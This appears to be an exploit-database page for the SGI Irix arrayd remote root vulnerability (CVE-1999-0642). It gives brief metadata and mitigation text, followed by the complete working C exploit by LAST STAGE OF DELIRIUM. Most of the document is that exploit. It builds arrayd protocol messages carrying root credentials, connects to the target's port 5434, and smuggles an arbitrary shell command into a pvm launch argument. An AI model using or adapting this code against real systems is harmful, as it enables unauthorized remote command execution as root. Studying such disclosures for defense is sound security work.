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vendor:
SGI Irix
by:
LAST STAGE OF DELIRIUM
9.8
CVSS
CRITICAL
Remote Code Execution
264
CWE
Product Name: SGI Irix
Affected Version From: All versions of Irix with SGI Array Services installed
Affected Version To:
Patch Exists: NO
Related CWE: CVE-1999-0642
CPE: o:sgi:irix
Metasploit:
Other Scripts:
Platforms Tested: SGI Irix
1999

SGI Array Services Remote Root Compromise

The SGI Array Services daemon (arrayd) in Irix systems is vulnerable to remote root compromises. The default configuration for authorization allows requests from anywhere to be accepted, leading to remote code execution with root privileges. An attacker can exploit this vulnerability by sending a specially crafted request to the arrayd service.

Mitigation:

SGI recommends enabling simple authentication for arrayd clusters to mitigate this vulnerability. Additionally, applying the necessary patches for the affected systems is advised.
Source

Exploit-DB raw data:

/*
source: https://www.securityfocus.com/bid/530/info

The SGI Array Services provide a mechanism to simplify administering and managing an array of clustered systems. The arrayd(1m) program is part of the array_services(5) and is known as the array services daemon. The default configuration for authorization makes clustered systems vulnerable to remote root compromises. The array services are installed on Irix systems by default from the Irix applications CD. All versions of Unicos post 9.0.0 are vulnerable. 
*/

/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland        *://lsd-pl.net/ #*/
/*## arrayd                                                                  #*/

/*   this code makes the same as the following command invoked with root user */
/*   privileges:                                                              */
/*   /usr/sbin/array -s address launch pvm xxx xxx xxx "\";command;exit\""    */
/*   there are two possible authentication methods that can be used by        */
/*   the arrayd service:                                                      */
/*   AUTHENTICATION NONE                                                      */
/*       requests from anywhere are accepted                                  */
/*   AUTHENTICATION SIMPLE                                                    */
/*       requests from trusted hosts are accepted if they match the host/key  */
/*       from arrayd.auth file. if there is not a specific host/key pair for  */
/*       a given machine the request is also accepted although it should not  */
/*       be (see manual pages in case you dont believe it).                   */
/*       as you see, SGI suggestion to protect arrayd cluster by enabling     */
/*       simple authentication gives no result                                */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

char msg1[]={
    0x31,0x08,0x12,0x63,0x13,0x54,0x34,0x23,
    0x00,0x00,0x00,0x00,0x12,0x34,0x56,0x78,
    0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x03,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

char msg2[]={
    0x00,0x00,0x00,0x02,0x10,0x00,0x28,0x00,
    0x00,0x00,0x00,0x0f,

    0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,   /* array   */
    0x00,0x00,0x00,0x5c,0x12,0x34,0x56,0x78,   /* args    */
    0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x38,   /* creds   */

    /* creds */
    0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,   /* origin  */
    0x00,0x00,0x00,0x28,0x00,0x00,0x00,0x05,   /* user    */
    0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x05,   /* group   */
    0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,   /* project */
    0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,

    'r' ,'o' ,'o' ,'t' ,0x00,0x00,0x00,0x00,
    'r' ,'o' ,'o' ,'t' ,0x00,0x00,0x00,0x00,

    /* args */
    0x00,0x00,0x00,0x06,
    0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x30,

    0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x07,
    0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x04,
    0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x04,
    0x00,0x00,0x00,0x4c,0x00,0x00,0x00,0x04,
    0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x03,
    0x00,0x00,0x00,0x54,0x12,0x34,0x56,0x78,

    'l' ,'a' ,'u' ,'n' ,'c' ,'h' ,0x00,0x00,
    'p' ,'v' ,'m' ,0x00,'x' ,'x' ,'x' ,0x00,
    'x' ,'x' ,'x' ,0x00,'x' ,'x' ,'x' ,0x00,
};

main(int argc,char **argv){
    char buffer[10000],len[4],*b,*cmd="id";
    int i,c,sck;
    struct sockaddr_in address;
    struct hostent *hp;

    printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland  //lsd-pl.net/\n");
    printf("arrayd for irix 6.2 6.3 6.4 6.5 6.5.4 IP:all\n\n");

    if(argc<2){
        printf("usage: %s address [-c command]\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"c:"))!=-1){
        switch(c){
        case 'c': cmd=optarg;break;
        }
    }

    sck=socket(AF_INET,SOCK_STREAM,0);
    bzero(&address,sizeof(address));

    address.sin_family=AF_INET;
    address.sin_port=htons(5434);
    if((address.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
    }
    if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
        perror("error");exit(-1);
    }

    memcpy(buffer,msg2,sizeof(msg2));
    sprintf(&buffer[sizeof(msg2)],"\";%s;exit\"",cmd);

    *(unsigned long*)len=htonl(sizeof(msg2)+strlen(cmd)+8+1);
    b=&msg1[12];
    for(i=0;i<4;i++) *b++=len[i];

    write(sck,msg1,64);
    write(sck,buffer,sizeof(msg2)+strlen(cmd)+8+1);

    read(sck,buffer,64);
    read(sck,buffer,sizeof(buffer));

    b=&buffer[8];
    if((*(unsigned long*)b)!=1){
        printf("error: command refused\n");exit(-1);
    }
    b=&buffer[12];
    if(((*(unsigned long*)b)!=1)&&((*(unsigned long*)b)!=2)){
        printf("error: command not executed\n");exit(-1);
    }
    printf("OK!\n");
}